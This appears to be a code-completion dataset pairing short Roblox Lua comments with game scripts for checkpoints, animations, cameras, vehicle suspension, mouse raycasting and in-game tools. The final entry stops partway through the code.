prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(plr, dialogueFolder) local Checkpoints = workspace:WaitForChild("Checkpoints") local Stage = plr:WaitForChild("leaderstats"):WaitForChild("Stage").Value Stage -= 1 local char = plr.Character char:WaitForChild("HumanoidRootPart") char:WaitForChild("Head") char:WaitForChild("Humanoid") char:PivotTo(CFrame.new(Checkpoints[Stage].Position + Vector3.new(0,6,0))) wait() char:PivotTo(CFrame.new(Checkpoints[Stage].Position + Vector3.new(0,6,0))) end
------------
Player.Character.Torso["Right Shoulder"]:destroy() glue11 = Instance.new("Glue", Player.Character.Torso) glue11.Part0 = Player.Character.Torso glue11.Part1 = rightrm glue11.Name = "Right shoulder" collider11 = Instance.new("Part", rightrm) collider11.Position = Vector3.new(0,9999,0) collider11.Size = Vector3.new(1.8,1,1) collider11.Shape = "Cylinder" local weld11 = Instance.new("Weld", collider11) weld11.Part0 = rightrm weld11.Part1 = collider11 weld11.C0 = CFrame.new(0,-0.2,0) * CFrame.fromEulerAnglesXYZ(0, 0, math.pi/2) collider11.TopSurface = "Smooth" collider11.BottomSurface = "Smooth" collider11.formFactor = "Symmetric" glue11.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) glue11.C1 = CFrame.new(0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) collider11.Transparency = 1
-- map check loop then
if not RunService:IsStudio() then NewMap() end while true do local NextMap = CheckNextMap() and (not RunService:IsStudio()) if NextMap or FORCED_MAP ~= '' then NewMap() end task.wait(1) end
-- ANIMATION
function stopAllAnimations() local oldAnim = currentAnim currentAnim = "" currentAnimInstance = nil if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end -- clean up walk if there is one if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end if (runAnimTrack ~= nil) then runAnimTrack:Stop() runAnimTrack:Destroy() runAnimTrack = nil end return oldAnim end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end function keyFrameReachedFunc(frameName) if (frameName == "End") then if currentAnim == "walk" then runAnimTrack.TimePosition = 0.0 currentAnimTrack.TimePosition = 0.0 else local repeatAnim = currentAnim local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.15, Humanoid) setAnimationSpeed(animSpeed) end end end function rollAnimation(animName) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end return idx end function playAnimation(animName, transitionTime, humanoid) local idx = rollAnimation(animName) local anim = animTable[animName][idx].anim -- switch animation if (anim ~= currentAnimInstance) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end if (runAnimTrack ~= nil) then runAnimTrack:Stop(transitionTime) runAnimTrack:Destroy() end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end
-- Variables
if script.Parent.Damage.Value < 1 then local Vehicle = script.Parent print("Vehicle Destroy Script Enabled") local Engine = Vehicle.Parts.Engine Vehicle:findFirstChild("Destroyed").Value = true -- Seat Variables Vehicle.Parts:findFirstChild("VehicleSeat").Disabled = true -- End of Seat Variables
-- Place this in your car model
local model = script.Parent model:MakeJoints() script.Disabled = true script:Destroy()
-- Camera Shake Instance -- Stephen Leitnick -- February 26, 2018
-- Ring4 descending
for l = 1,#lifts4 do if (lifts4[l].className == "Part") then lifts4[l].BodyPosition.position = Vector3.new((lifts4[l].BodyPosition.position.x),(lifts4[l].BodyPosition.position.y-6),(lifts4[l].BodyPosition.position.z)) end end wait(0.1) for p = 1,#parts4 do parts4[p].CanCollide = false end wait(0.1)
--[=[ Constructs a new Maid which will clean up when the brio dies. Will error if the Brio is dead. :::info Calling this while the brio is already dead will throw a error. ::: ```lua local brio = Brio.new("a") local maid = brio:ToMaid() maid:GiveTask(function() print("Cleaning up!") end) brio:Kill() --> Cleaning up! ``` @return Maid ]=]
function Brio:ToMaid() assert(self._values ~= nil, "Brio is dead") local maid = Maid.new() maid:GiveTask(self:GetDiedSignal():Connect(function() maid:DoCleaning() end)) return maid end function Brio:ToMaidAndValue() return self:ToMaid(), self:GetValue() end
--HeroThPianist
local tool = script.Parent.Parent local event = script.Parent:WaitForChild("PepperSprayEvent") event.OnServerEvent:connect(function(plr,event,arg1,arg2,arg3) if event == "Button1Down" then tool.Spray.Transparency = 1 tool.Spray.Script.Disabled = false tool.Nossle.Spray.Enabled = true tool.Nossle.Sound:Play() elseif event == "Button1Up" then tool.Spray.Transparency = 1 tool.Spray.Script.Disabled = true tool.Nossle.Spray.Enabled = false tool.Nossle.Sound:Stop() end end)
-- TODO: Consider moving wagon sell requests to this module
return MarketClient
-- Library
local List = {} function List.Create(list, max, fillDirection, padding, instanceFunc) max = max or math.huge padding = padding or UDim.new(0, 0) fillDirection = fillDirection or Enum.FillDirection.Vertical instanceFunc = instanceFunc or defaultButton local nList = #list local dList = 1 / nList local isVertical = (fillDirection == Enum.FillDirection.Vertical) local listFrame = Instance.new("Frame") listFrame.Name = "ListFrame" listFrame.BorderSizePixel = 0 local scrollFrame = Instance.new("ScrollingFrame") scrollFrame.Name = "ScrollFrame" scrollFrame.BackgroundTransparency = 1 scrollFrame.BorderSizePixel = 0 scrollFrame.Size = UDim2.new(1, 0, 1, 0) local canvasSize = nil local elementSize = nil local extraPosition = nil local adj = (nList - 1) / nList local scale = padding.Scale * adj local offset = padding.Offset * adj if (isVertical) then canvasSize = UDim2.new(0, 0, nList / max, 0) elementSize = UDim2.new(1, 0, dList - scale, -offset) else canvasSize = UDim2.new(nList / max , 0, 0, 0) elementSize = UDim2.new(dList - scale, -offset, 1, 0) end scrollFrame.CanvasSize = canvasSize local items = {} for i, option in ipairs(list) do local item = instanceFunc(i, option) item.LayoutOrder = i item.Size = elementSize item.Position = UDim2.new(0, 0, (i-1)*dList, 0) if (isVertical) then item.Position = item.Position + UDim2.new(0, 0, padding.Scale/nList*(i-1), padding.Offset/nList*(i-1)) else item.Position = item.Position + UDim2.new(padding.Scale/nList*(i-1), padding.Offset/nList*(i-1), 0, 0) end items[i] = item item.Parent = scrollFrame end listFrame.BackgroundTransparency = items[1].BackgroundTransparency listFrame.BackgroundColor3 = items[1].BackgroundColor3 scrollFrame.Parent = listFrame return listFrame end
--This Removes The Error From The Script To Make It work.
--// Declarables
local L_15_ = false local L_16_ = false local L_17_ = true local L_18_ = L_1_:WaitForChild('Resource') local L_19_ = L_18_:WaitForChild('FX') local L_20_ = L_18_:WaitForChild('Events') local L_21_ = L_18_:WaitForChild('HUD') local L_22_ = L_18_:WaitForChild('Modules') local L_23_ = L_18_:WaitForChild('SettingsModule') local L_24_ = require(L_23_:WaitForChild("ClientConfig")) local L_25_ = L_18_:WaitForChild('Vars') local L_26_ local L_27_ local L_28_ local L_29_ local L_30_ local L_31_ local L_32_ local L_33_ local L_34_ local L_35_ local L_36_ local L_37_ local L_38_ local L_39_ local L_40_ local L_41_ local L_42_ local L_43_ local L_44_ local L_45_ local L_46_ local L_47_ local L_48_ local L_49_ local L_50_ = L_24_.AimZoom local L_51_ = L_24_.MouseSensitivity local L_52_ = L_12_.MouseDeltaSensitivity local L_53_ = game.ReplicatedStorage:FindFirstChild('SoundIso_Network') or nil local L_54_ if L_53_ then L_54_ = L_53_:WaitForChild('EventConnection') end
-- Setting these here so the functions above can self-reference just by name:
MockDataStoreUtils.logMethod = logMethod MockDataStoreUtils.deepcopy = deepcopy MockDataStoreUtils.scanValidity = scanValidity MockDataStoreUtils.getStringPath = getStringPath MockDataStoreUtils.importPairsFromTable = importPairsFromTable MockDataStoreUtils.prepareDataStoresForExport = prepareDataStoresForExport MockDataStoreUtils.preprocessKey = preprocessKey MockDataStoreUtils.accurateWait = accurateWait MockDataStoreUtils.simulateYield = simulateYield MockDataStoreUtils.simulateErrorCheck = simulateErrorCheck return MockDataStoreUtils
--[[ The Module ]]
-- local BaseOcclusion = {} BaseOcclusion.__index = BaseOcclusion setmetatable(BaseOcclusion, { __call = function(_, ...) return BaseOcclusion.new(...) end}) function BaseOcclusion.new() local self = setmetatable({}, BaseOcclusion) return self end
--[=[ Takes in a data type, and returns it in array form. ```lua local str = "Test" print(TableKit.From(str)) -- prints ("T", "e", "s", t") ``` @within TableKit @param value unknown @return { [number]: unknown } ]=]
function TableKit.From(value: any): { any } local valueType = typeof(value) if valueType == "string" then return string.split(value, "") elseif valueType == "Color3" then return { value.R, value.G, value.B } elseif valueType == "Vector2" then return { value.X, value.Y } elseif valueType == "Vector3" then return { value.X, value.Y, value.Z } elseif valueType == "NumberSequence" then return value.Keypoints elseif valueType == "Vector3int16" then return { value.X, value.Y, value.Z } elseif valueType == "Vector2int16" then return { value.X, value.Y } else return { value } end end
--!strict -- upstream: https://github.com/facebook/react/blob/6faf6f5eb1705eef39a1d762d6ee381930f36775/packages/shared/objectIs.js --[[* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @flow ]]
-- ATS 1.2.2 --------------------------------------------------------------------------------------------------
local P = script.Parent local Run = game:GetService('RunService') local wheels = P.Wheels local seat = P.Body.VehicleSeat local vars = seat.ATSVariables local exclude = {"Wheels"} function WeldPair(x, y) local weld = Instance.new("Weld",x) weld.Part0 = x weld.Part1 = y weld.C1 = y.CFrame:toObjectSpace(x.CFrame); end function WeldAll(model, main) -- model can be anything for i,v in pairs(exclude) do if (model.Name == v) then return end end if model:IsA("BasePart") then WeldPair(main, model) end for _,v in pairs(model:GetChildren()) do WeldAll(v, main) end end function UnanchorAll(model) -- model can be anything if (model:IsA("BasePart")) then model.Anchored = false end for _,v in pairs(model:GetChildren()) do UnanchorAll(v) end end function Joint(x,y, c0, c1, type) local W = Instance.new(type, x) W.Part0 = x W.Part1 = y W.C0 = c0 W.C1 = c1 return W end function CreateWheelPart() local p = Instance.new("Part") p.FormFactor = Enum.FormFactor.Custom p.Transparency = 1 p.Anchored = true p.CanCollide = false p.TopSurface = Enum.SurfaceType.Unjoinable p.BottomSurface = Enum.SurfaceType.Unjoinable p.LeftSurface = Enum.SurfaceType.Unjoinable p.RightSurface = Enum.SurfaceType.Unjoinable p.FrontSurface = Enum.SurfaceType.Unjoinable p.BackSurface = Enum.SurfaceType.Unjoinable return p end for i,v in pairs(wheels:GetChildren()) do if (v:IsA("BasePart")) then local diameter = v.Size.x local M = Instance.new("Model",wheels) M.Name = v.Name v.Parent = M v.Name = "Wheel" for j,w in pairs(v:GetChildren()) do if (w:IsA("BasePart")) then w.Parent = M WeldPair(v,w) w.CanCollide = false end end if (v:FindFirstChild("Steer")) then local A = CreateWheelPart() A.Name = "Steer" A.Size = Vector3.new(diameter, 1, 0.6) A.CFrame = v.CFrame A.Parent = M end local B = CreateWheelPart() B.Name = "Suspension" B.Size = Vector3.new(0.8, 1, diameter) B.CFrame = v.CFrame * CFrame.new(-1,0,0) B.Parent = M local BB = Instance.new("BodyGyro") BB.Name = "BG" BB.D = vars.SuspensionDampening.Value BB.P = vars.SuspensionPower.Value BB.maxTorque = Vector3.new() BB.Parent = B local C = CreateWheelPart() C.Name = "BodyHinge" C.Size = Vector3.new(0.8, 1, diameter) C.CFrame = v.CFrame * CFrame.new(1,0,0) C.Parent = M if (v:FindFirstChild("Powered")) then local CC = Instance.new("BodyAngularVelocity") CC.Name = "BAV" CC.angularvelocity = Vector3.new() CC.maxTorque = Vector3.new(60000, 0, 60000) CC.P = 300 CC.Parent = v end end end for i,v in pairs(wheels:GetChildren()) do if (v:FindFirstChild("Wheel")) and (v:FindFirstChild("Suspension")) then local isSteeringWheel = (v:FindFirstChild("Steer") ~= nil) if (v:FindFirstChild("Mesh")) then WeldAll(v.Mesh, v.Wheel) end if (isSteeringWheel) then Joint(v.Wheel, v.Steer, CFrame.Angles(math.pi / 2,0,0), v.Steer.CFrame:toObjectSpace(v.Wheel.CFrame) * CFrame.Angles(math.pi / 2,0,0), "Rotate") local M = Joint(v.Steer, v.Suspension, CFrame.Angles(math.pi,0,0), v.Suspension.CFrame:toObjectSpace(v.Steer.CFrame) * CFrame.Angles(math.pi,0,0), "Motor") M.MaxVelocity = 0.03 else Joint(v.Wheel, v.Suspension, CFrame.Angles(math.pi / 2,0,0), v.Suspension.CFrame:toObjectSpace(v.Wheel.CFrame) * CFrame.Angles(math.pi / 2,0,0), "Rotate") end Joint(v.Suspension, v.BodyHinge, CFrame.new(Vector3.new(2,0,0)) * CFrame.Angles(math.pi/2,0,0), v.BodyHinge.CFrame:toObjectSpace(v.Suspension.CFrame) * CFrame.new(Vector3.new(2,0,0)) * CFrame.Angles(math.pi/2,0,0), "Rotate") Joint(v.BodyHinge, seat, CFrame.new(), seat.CFrame:toObjectSpace(v.BodyHinge.CFrame), "Weld") else print("Invalid wheel: Missing Wheel or Suspension part!") end end WeldAll(P, seat) wait(0.5) UnanchorAll(P) function UpdateWheels() for i,v in pairs(wheels:GetChildren()) do if (v:FindFirstChild("Suspension")) then v.Suspension.BG.cframe = seat.CFrame * CFrame.Angles(-math.pi/2,-math.rad(vars.SuspensionAngle.Value),0) end end end UpdateWheels() for i,v in pairs(wheels:GetChildren()) do if (v:FindFirstChild("Suspension")) then v.Suspension.BG.maxTorque = Vector3.new(0,1,0) end end Run.Heartbeat:connect(UpdateWheels)
--Change sound id to the id you want to play
debounce = false script.Parent.Touched:connect(function(hit) if not debounce then debounce = true if(hit.Parent:FindFirstChild("Humanoid")~=nil)then local player = game.Players:GetPlayerFromCharacter(hit.Parent) local sound = script.Parent.Sound:Clone() sound.Parent = player.PlayerGui sound:Play() wait(2.5)--change to how long before the sound plays again after retouching it end debounce = false end end)
-- Listener for changes to workspace.CurrentCamera
function BaseCamera:OnCurrentCameraChanged() if UserInputService.TouchEnabled then if self.viewportSizeChangedConn then self.viewportSizeChangedConn:Disconnect() self.viewportSizeChangedConn = nil end local newCamera = game.Workspace.CurrentCamera if newCamera then self:OnViewportSizeChanged() self.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function() self:OnViewportSizeChanged() end) end end -- VR support additions if self.cameraSubjectChangedConn then self.cameraSubjectChangedConn:Disconnect() self.cameraSubjectChangedConn = nil end local camera = game.Workspace.CurrentCamera if camera then self.cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):Connect(function() self:OnNewCameraSubject() end) self:OnNewCameraSubject() end end function BaseCamera:OnDynamicThumbstickEnabled() if UserInputService.TouchEnabled then self.isDynamicThumbstickEnabled = true end end function BaseCamera:OnDynamicThumbstickDisabled() self.isDynamicThumbstickEnabled = false end function BaseCamera:OnGameSettingsTouchMovementModeChanged() if player.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then if (UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.DynamicThumbstick or UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.Default) then self:OnDynamicThumbstickEnabled() else self:OnDynamicThumbstickDisabled() end end end function BaseCamera:OnDevTouchMovementModeChanged() if player.DevTouchMovementMode == Enum.DevTouchMovementMode.DynamicThumbstick then self:OnDynamicThumbstickEnabled() else self:OnGameSettingsTouchMovementModeChanged() end end function BaseCamera:OnPlayerCameraPropertyChange() -- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed self:SetCameraToSubjectDistance(self.currentSubjectDistance) end function BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity) return translationVector * sensitivity end function BaseCamera:GamepadZoomPress() local dist = self:GetCameraToSubjectDistance() if FFlagUserCameraGamepadZoomFix then local cameraMinZoomDistance = player.CameraMinZoomDistance local cameraMaxZoomDistance = player.CameraMaxZoomDistance local ZOOM_STEP_1 = 0 -- Adjust steps such that the minimum zoom level is not subceeded if cameraMinZoomDistance > FIRST_PERSON_DISTANCE_MIN then ZOOM_STEP_1 = cameraMinZoomDistance end local ZOOM_STEP_2 = ZOOM_STEP_1 + GAMEPAD_ZOOM_STEP local ZOOM_STEP_3 = ZOOM_STEP_2 + GAMEPAD_ZOOM_STEP -- Adjust steps such that maximum zoom level is not exceeded if cameraMaxZoomDistance < ZOOM_STEP_3 then ZOOM_STEP_3 = cameraMaxZoomDistance ZOOM_STEP_2 = ZOOM_STEP_1 + (ZOOM_STEP_3 - ZOOM_STEP_1)/2 end if dist > (ZOOM_STEP_2 + ZOOM_STEP_3)/2 then self:SetCameraToSubjectDistance(ZOOM_STEP_2) elseif dist > (ZOOM_STEP_1 + ZOOM_STEP_2)/2 then self:SetCameraToSubjectDistance(ZOOM_STEP_1) else self:SetCameraToSubjectDistance(ZOOM_STEP_3) end else if dist > (GAMEPAD_ZOOM_STEP_2 + GAMEPAD_ZOOM_STEP_3)/2 then self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_2) elseif dist > (GAMEPAD_ZOOM_STEP_1 + GAMEPAD_ZOOM_STEP_2)/2 then self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_1) else self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_3) end end end function BaseCamera:Enable(enable: boolean) if self.enabled ~= enable then self.enabled = enable if self.enabled then CameraInput.setInputEnabled(true) self.gamepadZoomPressConnection = CameraInput.gamepadZoomPress:Connect(function() self:GamepadZoomPress() end) if player.CameraMode == Enum.CameraMode.LockFirstPerson then self.currentSubjectDistance = 0.5 if not self.inFirstPerson then self:EnterFirstPerson() end end else CameraInput.setInputEnabled(false) if self.gamepadZoomPressConnection then self.gamepadZoomPressConnection:Disconnect() self.gamepadZoomPressConnection = nil end -- Clean up additional event listeners and reset a bunch of properties self:Cleanup() end self:OnEnable(enable) end end function BaseCamera:OnEnable(enable: boolean) -- for derived camera end function BaseCamera:GetEnabled(): boolean return self.enabled end function BaseCamera:Cleanup() if self.subjectStateChangedConn then self.subjectStateChangedConn:Disconnect() self.subjectStateChangedConn = nil end if self.viewportSizeChangedConn then self.viewportSizeChangedConn:Disconnect() self.viewportSizeChangedConn = nil end self.lastCameraTransform = nil self.lastSubjectCFrame = nil -- Unlock mouse for example if right mouse button was being held down CameraUtils.restoreMouseBehavior() end function BaseCamera:UpdateMouseBehavior() local blockToggleDueToClickToMove = UserGameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove if self.isCameraToggle and blockToggleDueToClickToMove == false then CameraUI.setCameraModeToastEnabled(true) CameraInput.enableCameraToggleInput() CameraToggleStateController(self.inFirstPerson) else CameraUI.setCameraModeToastEnabled(false) CameraInput.disableCameraToggleInput() -- first time transition to first person mode or mouse-locked third person if self.inFirstPerson or self.inMouseLockedMode then CameraUtils.setRotationTypeOverride(Enum.RotationType.CameraRelative) CameraUtils.setMouseBehaviorOverride(Enum.MouseBehavior.LockCenter) else CameraUtils.restoreRotationType() local rotationActivated = CameraInput.getRotationActivated() if rotationActivated then CameraUtils.setMouseBehaviorOverride(Enum.MouseBehavior.LockCurrentPosition) else CameraUtils.restoreMouseBehavior() end end end end function BaseCamera:UpdateForDistancePropertyChange() -- Calling this setter with the current value will force checking that it is still -- in range after a change to the min/max distance limits self:SetCameraToSubjectDistance(self.currentSubjectDistance) end function BaseCamera:SetCameraToSubjectDistance(desiredSubjectDistance: number): number local lastSubjectDistance = self.currentSubjectDistance -- By default, camera modules will respect LockFirstPerson and override the currentSubjectDistance with 0 -- regardless of what Player.CameraMinZoomDistance is set to, so that first person can be made -- available by the developer without needing to allow players to mousewheel dolly into first person. -- Some modules will override this function to remove or change first-person capability. if player.CameraMode == Enum.CameraMode.LockFirstPerson then self.currentSubjectDistance = 0.5 if not self.inFirstPerson then self:EnterFirstPerson() end else local newSubjectDistance = math.clamp(desiredSubjectDistance, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) if newSubjectDistance < FIRST_PERSON_DISTANCE_THRESHOLD then self.currentSubjectDistance = 0.5 if not self.inFirstPerson then self:EnterFirstPerson() end else self.currentSubjectDistance = newSubjectDistance if self.inFirstPerson then self:LeaveFirstPerson() end end end -- Pass target distance and zoom direction to the zoom controller ZoomController.SetZoomParameters(self.currentSubjectDistance, math.sign(desiredSubjectDistance - lastSubjectDistance)) -- Returned only for convenience to the caller to know the outcome return self.currentSubjectDistance end function BaseCamera:SetCameraType( cameraType ) --Used by derived classes self.cameraType = cameraType end function BaseCamera:GetCameraType() return self.cameraType end
-- Obtiens l'objet Terrain
local terrain = game.Workspace.Terrain
--References to bindable events that act similarly to the original mouse
Mouse.LeftClick = leftClick.Event Mouse.RightClick = rightClick.Event function Mouse.GetUnitRay() : Ray --Get position of mouse on screen local x : number, y : number = UserInputService:GetMouseLocation().X, UserInputService:GetMouseLocation().Y --Convert that to a unit ray pointing towards the camera CFrame local ray : Ray = cam:ViewportPointToRay(x, y) return ray end function Mouse.Raycast(rayParams : RaycastParams?) : (RaycastResult?, Ray) local unitRay : Ray = Mouse.GetUnitRay() --Raycast from the origin to max dist local result : RaycastResult? = workspace:Raycast(unitRay.Origin, unitRay.Direction * MAX_DISTANCE, rayParams) --Give them the RaycastResult and Unit Ray, if they need it return result, unitRay end function Mouse.GetPosition(rayParams : RaycastParams?) : Vector3 --Get the current Mouse Position, either as a raycastResult or Ray local raycast : RaycastResult?, unitRay : Ray = Mouse.Raycast(rayParams) --Return the appropriate value if raycast then --The raycast was successful, so we can just get the position return raycast.Position elseif unitRay then --Raycast was not successful, we need to manually calculate the intended position return unitRay.Origin + unitRay.Direction * MAX_DISTANCE end end function Mouse.GetTarget(rayParams : RaycastParams?) : Instance? --Call the raycast, forwarding the rayParams object local raycast : RaycastResult, unitRay : Ray = Mouse.Raycast(rayParams) --Give them target if it exists return raycast and raycast.Instance end function Mouse._OnInput(obj : InputObject) if obj.UserInputType == Enum.UserInputType.MouseButton1 then leftClick:Fire(obj.UserInputState) elseif obj.UserInputType == Enum.UserInputType.MouseButton2 then rightClick:Fire(obj.UserInputState) end end UserInputService.InputBegan:Connect(Mouse._OnInput) UserInputService.InputEnded:Connect(Mouse._OnInput) return Mouse
---Controller
local Controller=false local UserInputService = game:GetService("UserInputService") local LStickX = 0 local RStickX = 0 local RStickY = 0 local RTriggerValue = 0 local LTriggerValue = 0 local ButtonX = 0 local ButtonY = 0 local ButtonL1 = 0 local ButtonR1 = 0 local ButtonR3 = 0 local DPadUp = 0 function DealWithInput(input,IsRobloxFunction) if Controller then if input.KeyCode ==Enum.KeyCode.ButtonX then if input.UserInputState == Enum.UserInputState.Begin then ButtonX=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonX=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonY then if input.UserInputState == Enum.UserInputState.Begin then ButtonY=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonY=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonL1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonL1=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR1=0 end elseif input.KeyCode ==Enum.KeyCode.DPadLeft then if input.UserInputState == Enum.UserInputState.Begin then DPadUp=1 elseif input.UserInputState == Enum.UserInputState.End then DPadUp=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR3=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR3=0 end end if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads if input.KeyCode == Enum.KeyCode.Thumbstick1 then LStickX = input.Position.X elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then RStickX = input.Position.X RStickY = input.Position.Y elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder RTriggerValue = input.Position.Z elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder LTriggerValue = input.Position.Z end end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too UserInputService.InputEnded:connect(DealWithInput) car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then for i,v in pairs(Binded) do run:UnbindFromRenderStep(v) end workspace.CurrentCamera.CameraType=Enum.CameraType.Custom workspace.CurrentCamera.FieldOfView=70 player.CameraMaxZoomDistance=200 end end) function Camera() local cam=workspace.CurrentCamera local intcam=false local CRot=0 local CBack=0 local CUp=0 local mode=0 local look=0 local camChange = 0 local function CamUpdate() if not pcall (function() if camChange==0 and DPadUp==1 then intcam = not intcam end camChange=DPadUp if mode==1 then if math.abs(RStickX)>.1 then local sPos=1 if RStickX<0 then sPos=-1 end if intcam then CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80 else CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90 end else CRot=0 end if math.abs(RStickY)>.1 then local sPos=1 if RStickY<0 then sPos=-1 end if intcam then CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30 else CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30) end else CUp=0 end else if CRot>look then CRot=math.max(look,CRot-20) elseif CRot<look then CRot=math.min(look,CRot+20) end CUp=0 end if intcam then CBack=0 else CBack=-180*ButtonR3 end if intcam then cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Scriptable cam.FieldOfView=80 + car.DriveSeat.Velocity.Magnitude/12 player.CameraMaxZoomDistance=5 local cf=car.Body.Cam.CFrame if ButtonR3==1 then cf=car.Body.RCam.CFrame end cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0) else cam.CameraSubject=car.DriveSeat cam.FieldOfView=70 if mode==0 then cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") else cam.CameraType = "Scriptable" local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500) local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed) cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position) end end end) then cam.FieldOfView=70 cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") end end local function ModeChange() if GMode~=mode then mode=GMode run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end mouse.KeyDown:connect(function(key) if key=="t" then look=50 elseif key=="y" then if intcam then look=-160 else look=-180 end elseif key=="u" then look=-50 elseif key=="v" then run:UnbindFromRenderStep("CamUpdate") intcam=not intcam run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end) mouse.KeyUp:connect(function(key) if key=="t" and look==50 then look=0 elseif key=="y" and (look==-160 or look==-180) then look=0 elseif key=="u" and look==-50 then look=0 end end) run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange) table.insert(Binded,"CamUpdate") table.insert(Binded,"CMChange") end Camera() mouse.KeyDown:connect(function(key) if key=="b" then if GMode>=1 then GMode=0 else GMode=GMode+1 end if GMode==1 then Controller=true else Controller=false end end end)
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RemovalMonitor = script:WaitForChild("RemovalMonitor") CarpetPieces = { {MeshId = 223079795, Angle = 160}, {MeshId = 223079835, Angle = 100}, {MeshId = 223079888, Angle = 100}, {MeshId = 223079981, Angle = 160}, } CarpetSize = Vector3.new(3, 0.5, 6.5) BaseUrl = "http://www.roblox.com/asset/?id=" Rate = (1 / 10) BasePart = Instance.new("Part") BasePart.Material = Enum.Material.Plastic BasePart.Shape = Enum.PartType.Block BasePart.TopSurface = Enum.SurfaceType.Smooth BasePart.BottomSurface = Enum.SurfaceType.Smooth BasePart.FormFactor = Enum.FormFactor.Custom BasePart.Size = Vector3.new(0.2, 0.2, 0.2) BasePart.CanCollide = false BasePart.Locked = true ColorPart = BasePart:Clone() ColorPart.Name = "ColorPart" ColorPart.Reflectance = 0.25 ColorPart.Transparency = 0.1 ColorPart.Material = Enum.Material.SmoothPlastic ColorPart.FrontSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.BackSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.TopSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.BottomSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.LeftSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.RightSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.Size = Vector3.new(1, 1, 1) ColorPart.Anchored = true ColorPart.CanCollide = false ColorMesh = Instance.new("SpecialMesh") ColorMesh.Name = "Mesh" ColorMesh.MeshType = Enum.MeshType.FileMesh 